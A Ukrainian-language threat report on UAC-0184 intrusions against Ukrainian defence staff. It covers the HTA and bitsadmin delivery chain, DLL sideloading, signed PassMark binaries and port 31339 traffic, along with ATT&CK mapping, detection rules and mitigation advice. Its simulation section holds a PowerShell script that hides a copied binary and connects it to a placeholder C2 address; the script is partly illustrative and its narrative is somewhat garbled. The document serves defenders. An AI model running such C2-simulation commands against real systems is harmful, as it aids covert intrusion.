UAC-0184: Від HTA до підписаного мережевого стека
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
У звіті окреслено багатоступеневе вторгнення, спрямоване на українських оборонних співробітників, яке починається з шкідливих HTA-файлів, що доставляються через bitsadmin і LNK ярликових файлів. Шкідливе навантаження інсценовано всередині ZIP-архіву, потім використовується DLL-дія з компонентами Plane9 та користувацькими методами декодування, включаючи XOR та LZNT1, для розпаковування підписаних інструментів, таких як PassMark Endpoint разом із шкідливим input.dll. Мережева активність маскується за допомогою UDP-мультікасту на порту 31339. У проаналізованих зразках не було виявлено статичного зовнішнього сервера команд і управління.
Розслідування
Аналіз ланцюга доставки, заснованого на HTA, виявив bitsadmin команди, які завантажували ZIP-архів, що містив Cluster-Overlay64.exe та відповідні DLL-файли. Переверсна інженерія виявила послідовність завантажувача, яка виділяла filter.bin and kernel-diag.lib, декодувала їх, а потім завантажувала evr.dll. Останній етап висипав VSLauncher.exe разом з підписаним PassMark input.dll, що дозволяло UDP-мультікаст та TCP-комунікацію через порт 31339. Нападники спиралися на підписані двійкові файли та легітимні кодові підписи для зменшення підозри та уникнення виявлення.
Пом’якшення
Захисники повинні блокувати виконання mshta.exe та запобігати bitsadmin від завантаження контенту з недовірених джерел. Моніторинг має зосереджуватися на LNK-файлах, що містять bitsadmin рядки команд та тимчасові імена файлів, що починаються з ~tmp. Служби безпеки також повинні виявляти підозріле DLL-дісайтлодування, що включає Plane9Engine.dll or openvr_api.dll. Сповіщення мають бути налаштовані для UDP та TCP-трафіку на порту 31339 з хостів, які зазвичай не використовують програмне забезпечення PassMark. Рекомендується список дозволених додатків для VSLauncher.exe і перевірка на наявність несподіваних input.dll файлів у System32 or SysWOW64 шляхах також рекомендована.
Відповідь
Якщо виявлено пов’язану активність, негайно ізолюйте уражену систему, зберіть летучую пам’ять та випущені файли, і проведіть судово-медичний аналіз розгорнутих утиліт. Шукайте в середовищі інші хости, що показують ті ж самі артефакти LNK, шаблон звантаження DLL чи поведінку UDP-мультікасту. Видаліть усі шкідливі файли, відкличте будь-які скомпрометовані сертифікати, якщо це застосовно, та скиньте облікові дані, пов’язані з ураженими обліковими записами. Зміст виявлення потім слід оновити, використовуючи вилучені індикатори.
graph TB classDef action fill:#99ccff initial_access[“<b>Початковий доступ</b> – T1547.009 Модифікація ярликів<br/><b>Техніка</b>: Шкідливий LNK-ярлик<br/><b>Додатково</b>: T1027.012 Приховування LNK-іконки”] class initial_access action execution[“<b>Виконання</b> – T1218.005 Proxy Execution через Mshta<br/><b>Техніка</b>: mshta запускає HTA<br/><b>Додатково</b>: T1204.002 Виконання користувачем”] class execution action download[“<b>Етап завантаження</b> – T1059.003 Windows Command Shell<br/><b>Техніки</b>: PowerShell, bitsadmin<br/><b>Пов’язано</b>: T1071.002 FTP, T1570 Передача інструментів”] class download action staged_payload[“<b>Стадійний Payload</b> – T1055.001 DLL Injection<br/><b>Техніки</b>: Plane9 visualizer, openvr_api.dll<br/><b>Додатково</b>: T1546.009 DLL AppCert”] class staged_payload action obfuscation[“<b>Обфускація</b> – T1027 Обфусковані файли<br/><b>Деталі</b>: filter.bin XOR та LZNT1<br/><b>Додатково</b>: T1027.004 Компіляція після доставки, T1573.001 Симетрична криптографія”] class obfuscation action deployment[“<b>Розгортання Payload</b> – T1546.009 Виконання за подією<br/><b>Процес</b>: VSLauncher.exe завантажує input.dll”] class deployment action credential[“<b>Збір облікових даних</b> – T1003 Credential Dumping<br/><b>Метод</b>: MiniDumpWriteDump через інʼєкцію”] class credential action c2[“<b>Командування та контроль</b> – T1571 Нестандартний порт<br/><b>Метод</b>: UDP multicast discovery, TCP на 31339<br/><b>Додатково</b>: T1090 Proxy”] class c2 action initial_access –>|веде_до| execution execution –>|тригерить| download download –>|надає| staged_payload staged_payload –>|містить| obfuscation obfuscation –>|використовується_в| deployment deployment –>|дозволяє| credential credential –>|звітує_до| c2
Потік атаки
Виявлення
Підозріле завантаження файлу з прямої IP-адреси (через проксі)
Перегляд
Підозріле оборона уникнення LOLBAS MSHTA через виявлення пов’язаних команд (через створення процесу)
Перегляд
LOLBAS Bitsadmin (через cmdline)
Перегляд
Виклик підозрілих .NET-методів з Powershell (через powershell)
Перегляд
Архів було розпаковано у підозрілий каталог за допомогою Powershell (через powershell)
Перегляд
IOC (HashSha256) для виявлення: UAC-0184: Від HTA до підписаного мережевого стека
Перегляд
IOC (SourceIP) для виявлення: UAC-0184: Від HTA до підписаного мережевого стека
Перегляд
IOC (DestinationIP) для виявлення: UAC-0184: Від HTA до підписаного мережевого стека
Перегляд
Підозріле виконання PowerShell для шкідливих навантажень [Windows Powershell]
Перегляд
Виявлення шкідливого перепризначення мережевого трафіку PassMark [Windows Network Connection]
Перегляд
UAC-0184 Злісна доставка та виконання HTA через bitsadmin та mshta [Створення процесів Windows]
Перегляд
Виконання симуляції
Передумова: перевірка готовності телеметрії та базового лінії повинна пройти.
Мотив: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначеної для запуску правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP та мають на меті генерувати точну телеметрію, очікувану виявною логікою. Абстрактні або не пов’язані приклади призводять до помилкової діагностики.
-
Наратив атаки та команди:
Супротивник отримав копію PassMark BurnInTest.exe (легітимний інструмент для бенчмаркінгу) та перепризначив його для дії як прихований клієнт управління. Виконуючи двійковий файл з користувацькими аргументами, він відкриває TCP-з’єднання до сервера, контрольованого атакуючим, на порту 31339. Оскільки журнал брандмауера реєструє ім’я програми (“PassMark BurnInTest”), фільтр правила виявленняфільтрклаузула (продукт|містить: "PassMark BurnInTest") є уникнений, що дозволяє позначити трафік як підозрілий. Кроки такі:- Скопіюйте законний виконуваний файл BurnInTest у прихований каталог.
- Виконайте його з аргументами, які примушують мережне з’єднання з IP-адресою C2 (наприклад,
192.0.2.55) на порті 31339. - Тримайте процес у роботі досить довго, щоб брандмауер зареєстрував вихідне з’єднання.
-
Сценарій регресійного тесту:
# ------------------------------------------------- # Повторне призначення PassMark BurnInTest для прихованого трафіку C2 # ------------------------------------------------- $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe" $hiddenDir = "$env:ProgramData.temp" $c2IP = "192.0.2.55" $c2Port = 31339 # 1. Переконайтеся, що прихований каталог існує if (-not (Test-Path $hiddenDir)) { New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null # Hide the folder (Get-Item $hiddenDir).Attributes += 'Hidden' } # 2. Скопіюйте двійковий файл (імітація копії, що належить нападнику) $copiedExe = Join-Path $hiddenDir "BurnInTest.exe" Copy-Item -Path $burnInPath -Destination $copiedExe -Force # 3. Запустіть двійковий файл для створення TCP-з'єднання з C2 # (Припускається, що BurnInTest підтримує перемикач /net – це ілюстрація) $args = "/net $c2IP $c2Port" $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru Write-Host "PassMark BurnInTest запущено (PID $($proc.Id)) – трафік C2 має з'явитися у журналах брандмауера." # Keep the process alive for 30 seconds to ensure logging Start-Sleep -Seconds 30 -
Команди очищення:
# ------------------------------------------------- # Очищення після симульованої діяльності PassMark BurnInTest # ------------------------------------------------- $hiddenDir = "$env:ProgramData.temp" # Зупиніть будь-які залишкові процеси BurnInTest Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force # Видаліть прихований каталог та його вміст if (Test-Path $hiddenDir) { Remove-Item -Recurse -Force $hiddenDir } Write-Host "Очищення завершено – жодних залишкових двійкових файлів або процесів BurnInTest не залишилося."